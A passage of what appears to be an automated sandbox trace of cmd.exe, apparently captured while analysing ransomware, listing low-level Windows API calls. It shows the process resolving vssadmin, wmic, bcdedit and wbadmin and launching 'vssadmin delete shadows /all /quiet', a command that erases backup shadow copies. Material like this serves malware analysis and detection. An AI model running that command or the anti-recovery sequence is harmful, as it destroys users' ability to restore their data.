nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0080.036] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0080.036] GetProcAddress (hModule=0x76d30000, lpProcName="CopyFileExW") returned 0x76d63b92 [0080.036] GetProcAddress (hModule=0x76d30000, lpProcName="IsDebuggerPresent") returned 0x76d44a5d [0080.036] GetProcAddress (hModule=0x76d30000, lpProcName="SetConsoleInputExeNameW") returned 0x76d5a79d [0080.037] GetProcessHeap () returned 0x680000 [0080.037] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x400a) returned 0x696438 [0080.037] GetProcessHeap () returned 0x680000 [0080.037] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x696438 | out: hHeap=0x680000) returned 1 [0080.039] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0080.039] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0080.039] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0080.039] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0080.039] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0080.039] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0080.039] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0080.039] GetProcessHeap () returned 0x680000 [0080.039] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x58) returned 0x681190 [0080.039] GetProcessHeap () returned 0x680000 [0080.039] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1a) returned 0x680830 [0080.040] GetProcessHeap () returned 0x680000 [0080.040] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x42) returned 0x6811f0 [0080.042] GetProcessHeap () returned 0x680000 [0080.042] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x58) returned 0x681240 [0080.042] _wcsicmp (_String1="wmic", _String2=")") returned 78 [0080.042] _wcsicmp (_String1="FOR", _String2="wmic") returned -17 [0080.042] _wcsicmp (_String1="FOR/?", _String2="wmic") returned -17 [0080.042] _wcsicmp (_String1="IF", _String2="wmic") returned -14 [0080.042] _wcsicmp (_String1="IF/?", _String2="wmic") returned -14 [0080.043] _wcsicmp (_String1="REM", _String2="wmic") returned -5 [0080.043] _wcsicmp (_String1="REM/?", _String2="wmic") returned -5 [0080.043] GetProcessHeap () returned 0x680000 [0080.043] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x58) returned 0x6931a0 [0080.043] GetProcessHeap () returned 0x680000 [0080.043] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x12) returned 0x6812a0 [0080.044] GetProcessHeap () returned 0x680000 [0080.044] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x30) returned 0x693200 [0080.045] GetProcessHeap () returned 0x680000 [0080.045] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x58) returned 0x693238 [0080.046] _wcsicmp (_String1="bcdedit", _String2=")") returned 57 [0080.046] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4 [0080.046] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4 [0080.046] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7 [0080.046] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7 [0080.046] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16 [0080.046] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16 [0080.046] GetProcessHeap () returned 0x680000 [0080.046] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x58) returned 0x693298 [0080.046] GetProcessHeap () returned 0x680000 [0080.046] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x18) returned 0x6932f8 [0080.048] GetProcessHeap () returned 0x680000 [0080.048] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x70) returned 0x693318 [0080.222] GetProcessHeap () returned 0x680000 [0080.222] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x58) returned 0x693390 [0080.223] _wcsicmp (_String1="bcdedit", _String2=")") returned 57 [0080.224] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4 [0080.224] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4 [0080.224] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7 [0080.224] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7 [0080.224] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16 [0080.224] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16 [0080.224] GetProcessHeap () returned 0x680000 [0080.224] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x58) returned 0x6933f0 [0080.224] GetProcessHeap () returned 0x680000 [0080.224] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x18) returned 0x693450 [0080.226] GetProcessHeap () returned 0x680000 [0080.226] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x50) returned 0x693470 [0080.227] GetProcessHeap () returned 0x680000 [0080.227] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x58) returned 0x6934c8 [0080.228] _wcsicmp (_String1="wbadmin", _String2=")") returned 78 [0080.228] _wcsicmp (_String1="FOR", _String2="wbadmin") returned -17 [0080.228] _wcsicmp (_String1="FOR/?", _String2="wbadmin") returned -17 [0080.229] _wcsicmp (_String1="IF", _String2="wbadmin") returned -14 [0080.229] _wcsicmp (_String1="IF/?", _String2="wbadmin") returned -14 [0080.229] _wcsicmp (_String1="REM", _String2="wbadmin") returned -5 [0080.229] _wcsicmp (_String1="REM/?", _String2="wbadmin") returned -5 [0080.229] GetProcessHeap () returned 0x680000 [0080.229] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x58) returned 0x693528 [0080.229] GetProcessHeap () returned 0x680000 [0080.229] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x18) returned 0x693588 [0080.230] GetProcessHeap () returned 0x680000 [0080.230] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x36) returned 0x6935a8 [0080.232] GetConsoleTitleW (in: lpConsoleTitle=0x33f264, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0080.233] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0080.233] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0080.233] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0080.233] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0080.233] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0080.233] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0080.233] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0080.233] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0080.233] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0080.233] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0080.234] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0080.234] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0080.234] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0080.234] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0080.234] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0080.234] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0080.234] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0080.234] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0080.234] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0080.234] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0080.234] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0080.234] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0080.234] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0080.234] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0080.234] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0080.234] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0080.235] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0080.235] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0080.235] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0080.235] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0080.235] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0080.235] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0080.235] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0080.235] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0080.235] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0080.235] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0080.235] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0080.235] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0080.235] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0080.235] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0080.235] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0080.235] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0080.235] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0080.237] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0080.237] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0080.237] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0080.237] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0080.237] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0080.237] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0080.237] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0080.237] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0080.237] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0080.237] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0080.237] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0080.237] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0080.237] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0080.237] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0080.237] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0080.238] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0080.238] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0080.238] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0080.238] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0080.238] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0080.238] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0080.238] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0080.238] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0080.238] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0080.238] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0080.238] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0080.238] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0080.238] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0080.238] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0080.238] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0080.238] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0080.238] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0080.239] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0080.239] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0080.239] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0080.239] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0080.239] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0080.239] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0080.239] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0080.239] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0080.239] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0080.239] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0080.239] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0080.239] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0080.240] GetProcessHeap () returned 0x680000 [0080.240] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x210) returned 0x6942b8 [0080.240] GetProcessHeap () returned 0x680000 [0080.240] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x54) returned 0x6935e8 [0080.240] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0080.241] GetProcessHeap () returned 0x680000 [0080.241] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x418) returned 0x6944d0 [0080.241] SetErrorMode (uMode=0x0) returned 0x0 [0080.241] SetErrorMode (uMode=0x1) returned 0x0 [0080.241] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x6944d8, lpFilePart=0x33ed84 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x33ed84*="Desktop") returned 0x25 [0080.241] SetErrorMode (uMode=0x0) returned 0x1 [0080.241] GetProcessHeap () returned 0x680000 [0080.241] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x6944d0, Size=0x66) returned 0x6944d0 [0080.242] GetProcessHeap () returned 0x680000 [0080.242] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x6944d0) returned 0x66 [0080.242] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a890640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0080.242] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0080.242] GetProcessHeap () returned 0x680000 [0080.242] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x120) returned 0x693648 [0080.242] GetProcessHeap () returned 0x680000 [0080.242] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x238) returned 0x694540 [0080.251] GetProcessHeap () returned 0x680000 [0080.251] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x694540, Size=0x122) returned 0x694540 [0080.251] GetProcessHeap () returned 0x680000 [0080.251] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x694540) returned 0x122 [0080.251] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a890640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0080.252] GetProcessHeap () returned 0x680000 [0080.252] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xe0) returned 0x694670 [0080.253] GetProcessHeap () returned 0x680000 [0080.253] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x694670, Size=0x76) returned 0x694670 [0080.253] GetProcessHeap () returned 0x680000 [0080.253] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x694670) returned 0x76 [0080.372] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0080.372] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x33eb00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33eb00) returned 0xffffffff [0080.373] GetLastError () returned 0x2 [0080.373] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x33eb00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33eb00) returned 0xffffffff [0080.373] GetLastError () returned 0x2 [0080.373] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0080.373] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x33eb00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33eb00) returned 0x693770 [0080.373] GetProcessHeap () returned 0x680000 [0080.373] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x14) returned 0x6937b0 [0080.374] FindClose (in: hFindFile=0x693770 | out: hFindFile=0x693770) returned 1 [0080.374] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x33eb00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33eb00) returned 0xffffffff [0080.374] GetLastError () returned 0x2 [0080.374] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x33eb00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33eb00) returned 0x693770 [0080.374] GetProcessHeap () returned 0x680000 [0080.374] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x6937b0, Size=0x4) returned 0x6937b0 [0080.374] FindClose (in: hFindFile=0x693770 | out: hFindFile=0x693770) returned 1 [0080.375] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0080.375] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0080.375] GetConsoleTitleW (in: lpConsoleTitle=0x33eff8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0080.375] InitializeProcThreadAttributeList (in: lpAttributeList=0x33ee80, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x33ef48 | out: lpAttributeList=0x33ee80, lpSize=0x33ef48) returned 1 [0080.375] UpdateProcThreadAttribute (in: lpAttributeList=0x33ee80, dwFlags=0x0, Attribute=0x60001, lpValue=0x33ef40, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x33ee80, lpPreviousValue=0x0) returned 1 [0080.375] GetStartupInfoW (in: lpStartupInfo=0x33ee3c | out: lpStartupInfo=0x33ee3c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0080.375] GetProcessHeap () returned 0x680000 [0080.375] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x18) returned 0x6937c0 [0080.376] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0080.376] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0080.376] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0080.376] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0080.376] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0080.376] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0080.376] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0080.376] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0080.376] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0080.376] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0080.376] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0080.376] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0080.376] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0080.376] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0080.377] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0080.377] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0080.377] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0080.377] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0080.377] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0080.377] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0080.377] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0080.377] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0080.377] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0080.377] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0080.377] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0080.377] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0080.377] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0080.377] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0080.377] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0080.377] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0080.377] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0080.377] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0080.378] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0080.378] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0080.378] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0080.378] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0080.378] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0080.378] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0080.378] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0080.378] GetProcessHeap () returned 0x680000 [0080.378] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6937c0 | out: hHeap=0x680000) returned 1 [0080.378] GetProcessHeap () returned 0x680000 [0080.378] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xa) returned 0x690110 [0080.378] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1 [0080.381] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x33eedc*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x33ef28 | out: lpCommandLine="vssadmin delete shadows /all /quiet ", lpProcessInformation=0x33ef28*(hProcess=0x78, hThread=0x74, dwProcessId=0x700, dwThreadId=0x738)) returned 1 [0080.402] CloseHandle (hObject=0x74) returned 1 [0080.402] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0080.402] GetProcessHeap () returned 0x680000 [0080.402] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6958f8 | out: hHeap=0x680000) returned 1 [0080.402] GetEnvironmentStringsW () returned 0x694930* [0080.402] GetProcessHeap () returned 0x680000 [0080.402] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xb36) returned 0x695470 [0080.402] FreeEnvironmentStringsW (penv=0x694930) returned 1 [0080.402] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0097.472] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x33ee1c | out: lpExitCode=0x33ee1c*=0x2) returned 1 [0097.472] CloseHandle (hObject=0x78) returned 1 [0097.472] _vsnwprintf (in: _Buffer=0x33ef64, _BufferCount=0x13, _Format="%08X", _ArgList=0x33ee28 | out: _Buffer="00000002") returned 8 [0097.473] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0097.473] GetProcessHeap () returned 0x680000 [0097.473] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x695470 | out: hHeap=0x680000) returned 1 [0097.473] GetEnvironmentStringsW () returned 0x694930* [0097.474] GetProcessHeap () returned 0x680000 [0097.474] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xb5c) returned 0x695498 [0097.474] FreeEnvironmentStringsW (penv=0x694930) returned 1 [0097.474] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0097.474] GetProcessHeap () returned 0x680000 [0097.474] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x695498 | out: hHeap=0x680000) returned 1 [0097.474] GetEnvironmentStringsW () returned 0x694930* [0097.474] GetProcessHeap () returned 0x680000 [0097.474] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xb5c) returned 0x695498 [0097.474] FreeEnvironmentStringsW (penv=0x694930) returned 1 [0097.474] GetProcessHeap () returned 0x680000 [0097.474] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x690110 | out: hHeap=0x680000) returned 1 [0097.474] DeleteProcThreadAttributeList (in: lpAttributeList=0x33ee80 | out: lpAttributeList=0x33ee80) [0097.475] GetConsoleTitleW (in: lpConsoleTitle=0x33f200, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0097.475] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x210) returned 0x696000 [0097.475] GetProcessHeap () returned 0x680000 [0097.475] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x3a) returned 0x68f610 [0097.476] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x418) returned 0x692448 [0097.476] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x692450, lpFilePart=0x33ed20 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x33ed20*="Desktop") returned 0x25 [0097.476] SetErrorMode (uMode=0x0) returned 0x1 [0097.476] GetProcessHeap () returned 0x680000 [0097.476] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x692448, Size=0x5e) returned 0x692448 [0097.476] GetProcessHeap () returned 0x680000 [0097.476] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x692448) returned 0x5e [0097.476] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a890640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0097.477] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0097.477] GetProcessHeap () returned 0x680000 [0097.477] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x120) returned 0x696218 [0097.477] GetProcessHeap () returned 0x680000 [0097.477] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x238) returned 0x6924b0 [0097.477] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x6924b0, Size=0x122) returned 0x6924b0 [0097.477] GetProcessHeap () returned 0x680000 [0097.477] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x6924b0) returned 0x122 [0097.477] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a890640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 